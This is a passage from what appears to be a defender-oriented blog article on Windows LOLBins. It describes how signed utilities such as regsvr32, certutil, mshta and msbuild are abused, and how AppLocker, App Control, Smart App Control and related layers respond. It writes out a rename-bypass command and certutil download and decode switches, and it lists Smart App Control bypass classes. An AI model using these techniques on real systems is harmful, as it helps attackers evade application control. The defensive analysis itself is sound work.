&lt;p&gt;Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.&lt;/p&gt;
&lt;h2&gt;5. The Canonical Eight: A Field Guide&lt;/h2&gt;
&lt;p&gt;Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: &lt;em&gt;a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments&lt;/em&gt;. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft&apos;s Recommended Block Rules either deny by default or pointedly do not.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Binary&lt;/th&gt;
&lt;th&gt;First disclosed&lt;/th&gt;
&lt;th&gt;Abuse primitive&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK&lt;/th&gt;
&lt;th&gt;On App Control deny list?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;regsvr32.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Casey Smith, 2016-04-19&lt;/td&gt;
&lt;td&gt;Squiblydoo: remote &lt;code&gt;.sct&lt;/code&gt; via &lt;code&gt;/i:URL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1218.010 [@attack-t1218-010]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Multiple disclosures&lt;/td&gt;
&lt;td&gt;Load and invoke any exported DLL function&lt;/td&gt;
&lt;td&gt;T1218.011 [@attack-t1218-011]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-LOLBAS, IE5 era&lt;/td&gt;
&lt;td&gt;Run JScript or VBScript from &lt;code&gt;.hta&lt;/code&gt; file or URL&lt;/td&gt;
&lt;td&gt;T1218.005 [@attack-t1218-005]&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;certutil.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-LOLBAS folklore&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-urlcache&lt;/code&gt; download, &lt;code&gt;-decode&lt;/code&gt; payload decoder&lt;/td&gt;
&lt;td&gt;T1140, T1105&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bitsadmin.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pre-LOLBAS folklore&lt;/td&gt;
&lt;td&gt;BITS-channel download primitive&lt;/td&gt;
&lt;td&gt;T1197 [@attack-t1197]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msbuild.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Casey Smith, 2016&lt;/td&gt;
&lt;td&gt;Inline-task compile-and-run C#&lt;/td&gt;
&lt;td&gt;T1127.001 [@attack-t1127]&lt;/td&gt;
&lt;td&gt;Yes, with caveat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;installutil.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Casey Smith, 2016&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/U&lt;/code&gt; invokes &lt;code&gt;[RunInstaller(true)]&lt;/code&gt; class&lt;/td&gt;
&lt;td&gt;T1218.004 [@attack-t1218-004]&lt;/td&gt;
&lt;td&gt;Yes (unconditional)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Matt Graeber, 2018-08-17&lt;/td&gt;
&lt;td&gt;XOML-driven C#/VB.NET compile-and-execute&lt;/td&gt;
&lt;td&gt;T1127 [@attack-t1127]&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The table looks orderly. The pattern inside it is not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;regsvr32.exe&lt;/code&gt;&lt;/strong&gt; is the article&apos;s opening case, the most famous LOLBin in history, and -- conspicuously -- &lt;em&gt;not&lt;/em&gt; on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. &lt;code&gt;regsvr32&lt;/code&gt; is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft&apos;s choice is to &lt;em&gt;detect&lt;/em&gt; Squiblydoo via behavioral signals (parent-child anomaly, &lt;code&gt;/i:http&lt;/code&gt; argument) rather than &lt;em&gt;deny&lt;/em&gt; the binary outright.&lt;/p&gt;
&lt;p&gt;The conspicuous absence of &lt;code&gt;regsvr32.exe&lt;/code&gt; from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/strong&gt; is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying &lt;code&gt;rundll32.exe&lt;/code&gt; would render the desktop nearly inoperable. It is, like &lt;code&gt;regsvr32&lt;/code&gt;, on the &lt;em&gt;detect, do not deny&lt;/em&gt; side of the line.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;mshta.exe&lt;/code&gt;&lt;/strong&gt; is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires &lt;code&gt;mshta.exe&lt;/code&gt; to be functional for routine operation [@ms-bypass-rules].&lt;/p&gt;

`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary&apos;s reason for existing was Internet Explorer&apos;s HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.
&lt;p&gt;&lt;strong&gt;&lt;code&gt;certutil.exe&lt;/code&gt;&lt;/strong&gt; is one of the field&apos;s quiet recurring offenders. Two switches drive most of its abuse: &lt;code&gt;-urlcache -split -f&lt;/code&gt; downloads an arbitrary URL to disk, and &lt;code&gt;-decode&lt;/code&gt; decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. &lt;code&gt;certutil&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; on the App Control deny list.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;bitsadmin.exe&lt;/code&gt;&lt;/strong&gt; and its PowerShell sibling &lt;code&gt;Start-BitsTransfer&lt;/code&gt; drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. &lt;code&gt;bitsadmin.exe&lt;/code&gt; is not on the deny list either.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;msbuild.exe&lt;/code&gt;&lt;/strong&gt; is the most interesting case in the table because Microsoft&apos;s response is published verbatim and is &lt;em&gt;context-dependent&lt;/em&gt;. The Recommended Block Rules entry for &lt;code&gt;msbuild.exe&lt;/code&gt; reads:&lt;/p&gt;

If you&apos;re using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe. -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]
&lt;p&gt;That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether &lt;code&gt;msbuild.exe&lt;/code&gt; is a LOLBin; the answer depends on whether the endpoint is a developer workstation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;installutil.exe&lt;/code&gt;&lt;/strong&gt; is the .NET Framework installer-class entry-point runner. Casey Smith&apos;s 2016 disclosure showed that &lt;code&gt;installutil.exe /U mybinary.exe&lt;/code&gt; invokes any class decorated with &lt;code&gt;[System.ComponentModel.RunInstaller(true)]&lt;/code&gt;, regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. &lt;code&gt;installutil.exe&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to &lt;code&gt;msbuild.exe&lt;/code&gt;&apos;s development-context caveat. That &lt;code&gt;installutil.exe&lt;/code&gt; is denied by default &lt;em&gt;and&lt;/em&gt; the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;&lt;/strong&gt;, also known as &lt;code&gt;wfc.exe&lt;/code&gt;, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a &lt;code&gt;CompilerInput&lt;/code&gt; XML element with the attacker&apos;s C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;dnx.exe&lt;/code&gt;, and &lt;code&gt;rcsi.exe&lt;/code&gt;. Matt Graeber&apos;s August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It &lt;em&gt;is&lt;/em&gt; on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.&lt;/p&gt;

The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft&apos;s App Control Recommended Block Rules [@ms-bypass-rules].
&lt;p&gt;Notice the pattern across the eight: each binary is either &lt;em&gt;on&lt;/em&gt; the Recommended Block Rules or it &lt;em&gt;isn&apos;t&lt;/em&gt;, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is &lt;em&gt;bounded&lt;/em&gt;: not by Microsoft&apos;s diligence, but by what Windows administration requires. How bounded? That is Section 6.&lt;/p&gt;
&lt;h2&gt;6. The Defensive Patchwork: Four Generations of Response&lt;/h2&gt;
&lt;p&gt;If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named &lt;code&gt;regsvr32.exe&lt;/code&gt;, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft&apos;s response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.&lt;/p&gt;
&lt;h3&gt;Generation 0: Software Restriction Policies (2001-2009)&lt;/h3&gt;
&lt;p&gt;Before AppLocker there was &lt;em&gt;Software Restriction Policies&lt;/em&gt; (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express &lt;em&gt;trust anything signed by Microsoft&lt;/em&gt;. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.&lt;/p&gt;
&lt;h3&gt;Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)&lt;/h3&gt;
&lt;p&gt;AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously &lt;em&gt;necessary for deployment&lt;/em&gt; and &lt;em&gt;insufficient for security&lt;/em&gt;. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, and friends -- ran into a concrete worked counterexample:&lt;/p&gt;
&lt;p&gt;The AppLocker rename bypass is as simple as &lt;code&gt;copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe&lt;/code&gt;. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC&apos;s move to kernel-mode signature evaluation and hash-revocation rules.&lt;/p&gt;
&lt;p&gt;A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker&apos;s policy language could express either constraint but not both at once. Neither held up against a determined attacker.&lt;/p&gt;
&lt;h3&gt;Generation 2: App Control for Business with Recommended Block Rules (2017-present)&lt;/h3&gt;
&lt;p&gt;Generation 2 is what most enterprises deploy today. &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Windows Defender Application Control (WDAC)&lt;/a&gt; shipped with Windows 10 1709 in October 2017, evolved out of Device Guard&apos;s Code Integrity Policies, and was rebranded &lt;em&gt;App Control for Business&lt;/em&gt; in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file&apos;s signature and hash independently of its path.&lt;/p&gt;

The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel&apos;s Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments.

A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.
&lt;p&gt;Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: &lt;em&gt;as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules&lt;/em&gt; [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did &lt;em&gt;not&lt;/em&gt; close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.&lt;/p&gt;
&lt;h3&gt;Generation 3: Smart App Control (2022-present)&lt;/h3&gt;
&lt;p&gt;Smart App Control (SAC) is Microsoft&apos;s &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;reputation-and-AI gate&lt;/a&gt; for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an &lt;em&gt;evaluation&lt;/em&gt; mode that silently observes the user&apos;s behavior and either transitions to &lt;em&gt;enforce&lt;/em&gt; mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].&lt;/p&gt;

A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.
&lt;p&gt;The Aha moment for SAC arrives when a defender reads the Microsoft Learn SAC overview carefully:&lt;/p&gt;

Note that some older Microsoft binaries are considered unsafe because attackers can potentially use them to gain unauthorized access. For a complete list of these files, please see Application Control for Windows. -- Microsoft Learn, Smart App Control overview [@ms-sac-overview]
&lt;p&gt;That sentence resolves the most common misconception about SAC. Smart App Control does not introduce a new LOLBin-handling mechanism. It &lt;em&gt;defers&lt;/em&gt; LOLBin handling to the App Control Recommended Block Rules deny list. SAC inherits the same 167-binary coverage gap Generation 2 has. The reputation-and-AI gate is a useful addition for unknown third-party software; for Microsoft-signed LOLBins it is the deny list with a different user interface.&lt;/p&gt;
&lt;p&gt;Generation 3&apos;s other documented failure mode is &lt;em&gt;silent disable&lt;/em&gt;. A device that was protected becomes unprotected with no admin signal. In August 2024, Elastic Security Labs published the &lt;em&gt;Dismantling Smart App Control&lt;/em&gt; analysis [@elastic-sac], which enumerated five distinct bypass classes: signed malware via EV certificates (SolarMarker burned through more than 100 unique certs), reputation hijacking via FFI-capable script hosts (Lua, Node.js, AutoHotkey), reputation seeding within roughly two hours, reputation tampering, and the LNK-stomping smuggling technique tracked as CVE-2024-38217 [@bleeping-lnk]. The LNK-stomping samples in VirusTotal date back six years.&lt;/p&gt;
&lt;h3&gt;Generation 4: Windows Resiliency Initiative (November 2024)&lt;/h3&gt;
&lt;p&gt;On November 19, 2024, at Microsoft Ignite, the company announced the &lt;em&gt;Windows Resiliency Initiative&lt;/em&gt; (WRI). It is an umbrella program, not a new enforcement mechanism, with four focus areas. The third is &lt;em&gt;stronger controls for what apps and drivers are allowed to run&lt;/em&gt; [@ms-wri-nov2024]. The June 2025 follow-up post adds the &lt;em&gt;Microsoft Virus Initiative 3.0&lt;/em&gt; (MVI 3.0) and the user-mode security agents work that moves third-party EDR drivers out of the kernel [@ms-wri-jun2025]. As of May 2026, WRI has not shipped a qualitatively new LOLBin-class enforcement primitive. It is a re-framing of the controls that already existed.&lt;/p&gt;

flowchart LR
    G0[&quot;Gen 0: SRP&lt;br /&gt;2001-2009&quot;] --&quot;closes &apos;no scalable publisher rule&apos;&quot;--&amp;gt; G1[&quot;Gen 1: AppLocker&lt;br /&gt;default publisher rule&lt;br /&gt;2009-2017&quot;]
    G1 --&quot;closes &apos;per-admin deny rules don&apos;t scale, rename bypass&apos;&quot;--&amp;gt; G2[&quot;Gen 2: App Control + Recommended Block Rules&lt;br /&gt;2017-present&quot;]
    G2 --&quot;closes &apos;no default-on for unmanaged endpoints&apos;&quot;--&amp;gt; G3[&quot;Gen 3: Smart App Control&lt;br /&gt;2022-present&quot;]
    G3 --&quot;institutional re-framing&quot;--&amp;gt; G4[&quot;Gen 4: Windows Resiliency Initiative&lt;br /&gt;2024-present&quot;]
    G4 -. unresolved .-&amp;gt; Class[&quot;The LOLBin class itself&quot;]
    style Class stroke:#c33,stroke-width:2px
    style G4 stroke:#888,stroke-dasharray: 5 5
&lt;p&gt;The summary table for the generational story:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;th&gt;Years&lt;/th&gt;
&lt;th&gt;Closed&lt;/th&gt;
&lt;th&gt;Did not close&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;0: SRP&lt;/td&gt;
&lt;td&gt;2001-2009&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Undeployable at enterprise scale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1: AppLocker&lt;/td&gt;
&lt;td&gt;2009-2017&lt;/td&gt;
&lt;td&gt;Allow-list scale problem&lt;/td&gt;
&lt;td&gt;Squiblydoo, rename bypass, Authenticode blindness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2: App Control + Block Rules&lt;/td&gt;
&lt;td&gt;2017-present&lt;/td&gt;
&lt;td&gt;Rename bypass, per-name deny&lt;/td&gt;
&lt;td&gt;167-binary coverage gap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3: Smart App Control&lt;/td&gt;
&lt;td&gt;2022-present&lt;/td&gt;
&lt;td&gt;No default-on for consumers&lt;/td&gt;
&lt;td&gt;Silent disable, defers LOLBins to Gen 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4: WRI&lt;/td&gt;
&lt;td&gt;2024-present&lt;/td&gt;
&lt;td&gt;-- (institutional framing)&lt;/td&gt;
&lt;td&gt;No new LOLBin enforcement primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Each generation adds a layer; no generation removes a class. Four bypass classes have been closed in chronological order, but the 167-binary residual between the LOLBAS catalog and the Recommended Block Rules deny list has not narrowed. The class is what survives the chain.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Four generations, each adding a layer. None removing the class. The next question follows: what does the 2026 state of the art look like, taken as a whole?&lt;/p&gt;
&lt;h2&gt;7. The 2026 State of the Art Is a Stack of Eight&lt;/h2&gt;
&lt;p&gt;A 2026 Windows shop does not pick one of these layers. It stacks all eight. The state of the art for LOLBin defense is the &lt;em&gt;bundle&lt;/em&gt;, not a single technique, and the bundle&apos;s coverage is the union of what each layer sees.&lt;/p&gt;
&lt;p&gt;The eight layers, in roughly the order a defender would deploy them:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;App Control for Business with Recommended Block Rules&lt;/strong&gt; -- the enterprise control plane. Kernel-mode signature evaluation, signed XML policies, and Microsoft&apos;s curated deny list merged into the base policy [@ms-bypass-rules]. This is the only layer that &lt;em&gt;enforces by default-deny&lt;/em&gt; at the loader.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart App Control&lt;/strong&gt; -- the consumer reputation gate. Reputation lookups against a Microsoft cloud service, AI classification as the fallback, evaluation-then-enforce lifecycle [@ms-sac-overview]. Defers LOLBins to the App Control deny list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/&quot; rel=&quot;noopener&quot;&gt;Attack Surface Reduction (ASR) rules&lt;/a&gt;&lt;/strong&gt; -- Defender for Endpoint&apos;s behavioral choke points. Most LOLBin-relevant rules shipped with Windows 10 1709 in October 2017 [@ms-asr-rules-ref]: &lt;em&gt;Block all Office applications from creating child processes&lt;/em&gt;, &lt;em&gt;Block executable content from email client and webmail&lt;/em&gt;, &lt;em&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/em&gt;, &lt;em&gt;Block use of copied or impersonated system tools&lt;/em&gt;. &lt;em&gt;Block process creations originating from PSExec and WMI commands&lt;/em&gt; arrived later in Windows 10 1803.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavioral EDR with Sysmon parent-child detection&lt;/strong&gt; -- the telemetry layer that catches what the enforcement layers miss. SwiftOnSecurity&apos;s &lt;code&gt;sysmon-config&lt;/code&gt; repository [@swiftonsec], the more modular &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt; configuration [@olafhartong], and vendor-curated analytics like Splunk Research&apos;s rule &lt;code&gt;25689101-012a-324a-94d3-08301e6c065a&lt;/code&gt; for renamed-LOLBin detection [@splunk-detection].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;AMSI&lt;/a&gt; with PowerShell Constrained Language Mode&lt;/strong&gt; -- in-process script-content inspection.AMSI is the only Microsoft-shipped mechanism that lets antimalware inspect &lt;em&gt;script bodies after macro expansion and before eval&lt;/em&gt;, which is the moment the script has been decoded but not yet executed [@ms-amsi-portal]. That moment is the single richest detection signal in the script-host attack surface. The answer Microsoft shipped specifically for PowerShell, JScript, VBScript, and the script hosts Microsoft directly controls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The LOLBAS catalog itself&lt;/strong&gt; -- a defensive data structure. Detection engineers parse it to generate rules; SIEM vendors ingest it as detection content; the MITRE ATT&amp;amp;CK pages cite individual entries as primary references [@attack-t1218].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ML-driven LOTL classification&lt;/strong&gt; -- the research frontier. Ryan Stamp&apos;s 2022 NLP-over-command-line approach [@arxiv-stamp] and the 2024 work by Trizna and collaborators reporting a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] [@hf-quasarnix].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/&quot; rel=&quot;noopener&quot;&gt;Microsoft Vulnerable Driver Blocklist&lt;/a&gt; and LOLDrivers&lt;/strong&gt; -- the kernel-driver analogue. Microsoft&apos;s blocklist is enabled by default with HVCI, Smart App Control, or S mode active [@ms-driver-blocklist]; the community-maintained LOLDrivers project at &lt;code&gt;loldrivers.io&lt;/code&gt; is the sibling catalog [@loldrivers].&lt;/li&gt;
&lt;/ol&gt;

The Antimalware Scan Interface, introduced with Windows 10 1507. AMSI lets script hosts (PowerShell, JScript, VBScript, the `.NET` runtime) hand the script content they are about to evaluate to the registered antimalware product for inspection before execution. AMSI closes one of the few in-process content-inspection points Microsoft directly controls; it does not see scripts run through non-AMSI hosts (older COM scriptlets, Lua, Node.js, AutoHotkey FFI).
&lt;p&gt;Each layer addresses a different point in the LOLBin life cycle. App Control and SAC enforce at load time, before the binary runs. ASR enforces at behavior time, blocking specific parent-child or write-then-exec patterns. EDR with Sysmon observes at runtime and reacts after the fact. AMSI inspects script content inside the running process. The catalog enumerates what to look for; ML models generalize beyond it. The driver layer covers a sibling class.&lt;/p&gt;

flowchart TD
    Endpoint[&quot;Windows endpoint&quot;]
    Endpoint --&amp;gt; L1[&quot;1. App Control + Recommended Block Rules (kernel CI, default deny)&quot;]
    Endpoint --&amp;gt; L2[&quot;2. Smart App Control (consumer reputation gate)&quot;]
    Endpoint --&amp;gt; L3[&quot;3. ASR rules (behavioral choke points)&quot;]
    Endpoint --&amp;gt; L4[&quot;4. EDR + Sysmon (telemetry and post-hoc detection)&quot;]
    Endpoint --&amp;gt; L5[&quot;5. AMSI + PowerShell CLM (in-process script content)&quot;]
    Endpoint --&amp;gt; L6[&quot;6. LOLBAS catalog (detection-engineering data structure)&quot;]
    Endpoint --&amp;gt; L7[&quot;7. ML LOTL classification (research frontier)&quot;]
    Endpoint --&amp;gt; L8[&quot;8. Driver blocklist + LOLDrivers (sibling class)&quot;]
&lt;p&gt;The head-to-head comparison matrix shows what each layer brings and where the residual risk lives:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Decision time&lt;/th&gt;
&lt;th&gt;Coverage breadth&lt;/th&gt;
&lt;th&gt;Marginal cost per new LOLBin&lt;/th&gt;
&lt;th&gt;Failure mode if attacker succeeds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;App Control + Block Rules&lt;/td&gt;
&lt;td&gt;Load&lt;/td&gt;
&lt;td&gt;~40 binaries&lt;/td&gt;
&lt;td&gt;Microsoft must add it to the XML; months-to-years lag&lt;/td&gt;
&lt;td&gt;Binary loads and runs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Smart App Control&lt;/td&gt;
&lt;td&gt;Load&lt;/td&gt;
&lt;td&gt;Reputation + AI gate; defers LOLBins to App Control&lt;/td&gt;
&lt;td&gt;None (inherits App Control)&lt;/td&gt;
&lt;td&gt;Reputation hijack succeeds; silent disable possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASR rules&lt;/td&gt;
&lt;td&gt;Behavior&lt;/td&gt;
&lt;td&gt;~8 LOLBin-relevant rules&lt;/td&gt;
&lt;td&gt;Rule author must encode the new pattern&lt;/td&gt;
&lt;td&gt;Pattern slips through; user-facing block toast missing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR + Sysmon&lt;/td&gt;
&lt;td&gt;Runtime&lt;/td&gt;
&lt;td&gt;Whole catalog if rules exist&lt;/td&gt;
&lt;td&gt;Rule per binary, per variant&lt;/td&gt;
&lt;td&gt;Detection fires after execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
